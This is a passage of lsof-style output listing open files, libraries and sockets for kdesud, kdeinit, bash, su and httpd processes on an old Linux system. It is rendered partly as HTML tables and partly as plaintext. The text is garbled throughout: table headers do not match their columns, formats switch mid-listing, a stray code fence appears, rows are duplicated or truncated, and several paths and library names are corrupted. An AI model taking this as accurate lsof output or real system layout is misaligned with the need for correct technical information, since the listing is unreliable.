<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/libICE.so.6.3</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/libXext.so.6.4</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/libstdc++-3.2.10.0.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/resolve-2.2.5.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/lib/libXtst.so.6.1</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>3u unix</td>
<td>0xc55bf3d4</td>
<td>280025</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3</td>
<td>/tmp/ksocket-userid1/kdesud_</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>4u unix</td>
<td>0xc4e7e5a0</td>
<td>280025</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>0r CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>3u unix</td>
<td>0xc2e450c0</td>
<td>280004</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>4u unix</td>
<td>0xc4fb90e0</td>
<td>280008</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>5r FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>6w FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>7u unix</td>
<td>0xc4fb90e0</td>
<td>280011</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>8r FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit 7168 userid1</td>
<td>9w FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>pipe</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>0r CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>3u unix</td>
<td>0xc55bf3d4</td>
<td>280021</td>
<td>socket</td>
</tr>
</tbody>
</table>
bash 7170 userid1 rtd DIR 3,5 1024 2 /
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
bash 7170 userid1 mem REG 3,2 371 130311
/bash/local/en_US.iso88591/LC_IDENTIFICATION
bash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
bash 7170 userid1 mem REG 3,2 29 130312
/bash/local/en_US.iso88591/LC_MEASUREMENT
bash 7170 userid1 mem REG 3,2 65 130316
/bash/local/en_US.iso88591/LC_TELEPHONE
bash 7170 userid1 mem REG 3,2 161 130310
/bash/local/en_US.iso88591/LC_ADDRESS
bash 7170 userid1 mem REG 3,2 83 130314
/bash/local/en_US.iso88591/LC_NAME
bash 7170 userid1 mem REG 3,2 40 130315
/bash/local/en_US.iso88591/LC_PAPER
bash 7170 userid1 mem REG 3,2 58 179360
/bash/local/en_US.iso88591/LC_MESSAGES/SYS_LC_MESSAGES
bash 7170 userid1 mem REG 3,2 292 130313
/bash/local/en_US.iso88591/LC_COLLATE
bash 7170 userid1 mem REG 3,2 173680 130324
/bash/local/en_US.iso88591/LC_CTYPE
bash 7170 userid1 mem REG 3,2 45415 63523 /lib/libnss_files.so.2.2.5
bash 7170 userid1 mem REG 3,2 46117 63531 /lib/libnss_nisplus.so.2.2.5
bash 7170 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc.so.2.2.5
bash 7170 userid1 0u CHR 136,2 4 /dev/pts/2
bash 7170 userid1 1u CHR 136,2 4 /dev/pts/2
bash 7170 userid1 2u CHR 136,2 4 /dev/pts/2
bash 7170 userid1 255u CHR 136,2 4 /dev/pts/2
su 7203 root cwd DIR 3,5 1024 36865 /root
su 7203 root rtd DIR 3,5 1024 2 /
su 7203 root txt REG 3,5 19116 41031 /bin/su
su 7203 root mem REG 3,5 89424 63503 /lib/ld-2.2.5.so
su 7203 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
su 7203 root mem REG 3,5 1024 2 /
su 7203 root mem REG 3,5 11832 63560 /lib/ld-2.2.5.so
su 7203 root mem REG 3,5 12102 63503 /lib/ld-2.2.5.so
su 7203 root mem REG 3,5 22592 130323
su 7203 root mem REG 3,5 43050 /lib/security/pam_rootok.so
su 7203 root mem REG 3,5 5391 43050 /lib/security/pam_rootok.so
su 7203 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
su 7203 root mem REG 3,5 12102 63503 /lib/ld-2.2.5.so
su 7203 root mem REG 3,5 12105 63568 /lib/libpam_misc.so.0.75
su 7203 root mem REG 3,5 22592 130323
/su/local/en_US.iso88591/LC_COLLATE
<table>
<thead>
<tr>
<th>PROCESS</th>
<th>USER</th>
<th>GROUP</th>
<th>FD</th>
<th>SIZE</th>
<th>NODE</th>
<th>INODE</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TYPE</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12471</td>
<td>43053</td>
<td>/lib/security/pam_stack.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>13783</td>
<td>43065</td>
<td>/lib/security/pam_xauth.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>4910</td>
<td>43033</td>
<td>/lib/security/pam_deny.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12898</td>
<td>43034</td>
<td>/lib/security/pam_env.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>14617</td>
<td>43040</td>
<td>/lib/security/pam_limits.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415</td>
<td>63523</td>
<td>/lib/lsb_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46117</td>
<td>63531</td>
<td>/lib/lsb_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>65070</td>
<td>/lib/nsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>50425</td>
<td>43057</td>
<td>/lib/security/pam_unix.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>14540</td>
<td>43032</td>
<td>/lib/security/pam_cracklib.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>71016</td>
<td>65265</td>
<td>/usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>22,0</td>
<td>2048</td>
<td>49152</td>
<td>/mnt/cdrom</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>541096</td>
<td>40973</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>26956</td>
<td>14246</td>
<td>/usr/lib/gconv/mconv-modules.cache</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11832</td>
<td>63560</td>
<td>/lib/toupcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415</td>
<td>63523</td>
<td>/lib/lsb_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46117</td>
<td>63531</td>
<td>/lib/lsb_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>63507</td>
<td>/lib/nsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TYPE</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>136,2</td>
<td>4</td>
<td>dev/pts/2</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>131802</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>229527</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>229506</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td>229514</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>229513</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>229515</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>229505</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
<td>130311</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFIER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>101902</td>
<td>73734</td>
<td>/lib/i686/libpthread-0.9-so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
<td>73732</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>23575</td>
<td>63501</td>
<td>/lib/libcrypto-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>30282</td>
<td>65273</td>
<td>/usr/lib/libgd.so.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>655224</td>
<td>63543</td>
<td>/lib/libdb-3.3-so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
<td>66292</td>
<td>/usr/lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735</td>
<td>65380</td>
<td>/usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td>229516</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>229519</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365</td>
<td>229523</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
<td>229512</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
<td>229511</td>
<td>/usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
<td>229520</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
</tbody>
</table>
```plaintext
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Permissions</th>
<th>Uid</th>
<th>Gid</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046</td>
<td>/lib/libgssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>145319</td>
<td>425001</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td>440043</td>
<td>/lib/libgssapi_krb5.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>114263</td>
<td>/usr/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td>66033</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td>66039</td>
<td>/usr/lib/libgssapi_krb5.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>3340</td>
<td>63567</td>
<td>/usr/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
<td>63535</td>
<td>/usr/lib/libssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>60042</td>
<td>/usr/lib/libssl.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td>/usr/lib/libcurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65386</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td>65263</td>
<td>/usr/lib/libcurl.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>65384</td>
<td>/usr/lib/libxml2.so.2.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>65389</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td>425002</td>
<td>/usr/lib/php4/lapd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td>63349</td>
<td>/usr/lib/libber.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>63523</td>
<td>/usr/lib/lbms_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>130322</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/apache/mod_perl.so</td>
</tr>
<tr>
